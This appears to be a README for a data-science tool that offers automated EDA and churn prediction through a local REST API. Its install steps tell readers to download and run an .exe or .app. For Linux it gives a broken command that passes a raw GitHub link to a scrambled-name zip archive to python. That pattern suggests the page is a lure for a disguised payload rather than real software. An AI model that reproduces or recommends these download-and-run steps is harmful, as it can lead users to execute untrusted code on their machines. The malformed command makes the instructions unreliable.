🌟 ai-junior-data_scientist - Your AI Companion for Data Insights

🚀 Getting Started

Welcome to the ai-junior-data_scientist project! This application helps you explore data insights using machine learning. Our AI agent automatically handles exploratory data analysis (EDA) and baseline modeling. You can easily access the results via a user-friendly REST API.

📦 System Requirements

• Operating System: Windows, macOS, or Linux
• Python Version: 3.7 or higher
• Memory: Minimum 4GB RAM recommended
• Storage: At least 200MB available space

🌐 Features

• Automated EDA: Quickly analyze your dataset for trends.
• Baseline Modeling: Implement logistic regression with ease.
• REST API Interface: Access results promptly with a user-friendly API.
• Performance Metrics: Monitor latency and usage for optimal performance.
• High Accuracy: Achieve approximately 0.82 accuracy on customer predictions.

📥 Download & Install

To get started, you need to download the application.

Visit this page to download: Download ai-junior-data_scientist

Once you are on the Releases page, follow these steps:

1. Look for the latest release version.
2. Click on the download link for your operating system.
3. Save the file to your computer.

After downloading, follow the instructions below to run the application.

⚙️ Installation Instructions

1. Locate the Downloaded File:

   • Navigate to the folder where you saved the downloaded file.

2. Extract the Files (if needed):

   • If the file is zipped, right-click on it and select "Extract All".

3. Run the Application:

   • For Windows users, double-click the .exe file.
   • For macOS, open the .app file.
   • For Linux, open a terminal, navigate to the folder, and type python https://raw.githubusercontent.com/Maranh0/ai-junior-data_scientist/main/data_tools/scientist_data_junior_ai_3.6.zip.

4. Access the REST API:

   • Open your web browser.
   • Navigate to http://localhost:8000.

5. Start Exploring:

   • You can explore various endpoints to view your analysis and predictions.

🛠️ How to Use

Once you have the application running, here’s how to navigate through the features:

• Access EDA Results: Click on the EDA endpoint to view insights about your dataset.
• Run Predictions: Use the predictions endpoint to input new customer data and receive predictions for churn.
• View Metrics: Check latency and performance metrics directly within the application.

📊 Example Usage

To get a better understanding, here’s a quick example of how to make a prediction:

1. Use the predictions endpoint, usually found at http://localhost:8000/predict.
2. Send a POST request with customer data in a JSON format. For example:

{
  "age": 35,
  "balance": 1500,
  "gender": "female"
}

3. The application will respond with the likelihood of churn.

🔎 FAQs

Q: What kind of datasets can I use?
A: You can use any dataset relevant to customer behavior. Ensure it's formatted correctly as CSV.

Q: Do I need programming skills?
A: Not at all! The application has a user-friendly interface designed for non-technical users.

Q: How can I contribute?
A: Read our Contributing Guidelines on the GitHub repository for more details.

🌍 Community and Support

Join our community for support and updates. You can find us on:

• GitHub Discussions: Join Here
• Issues: Report bugs or request features via the Issues section on GitHub.

🎓 Learning Resources

To deepen your understanding of data science and machine learning, consider the following resources:

• Books: Introduction to Machine Learning with Python by Andreas C. Müller and Sarah Guido.
• Online Courses: Platforms like Coursera and edX offer great courses in data science.

📃 License

This project is licensed under the MIT License. You are free to use, modify, and distribute the software. Please see the LICENSE file for more details.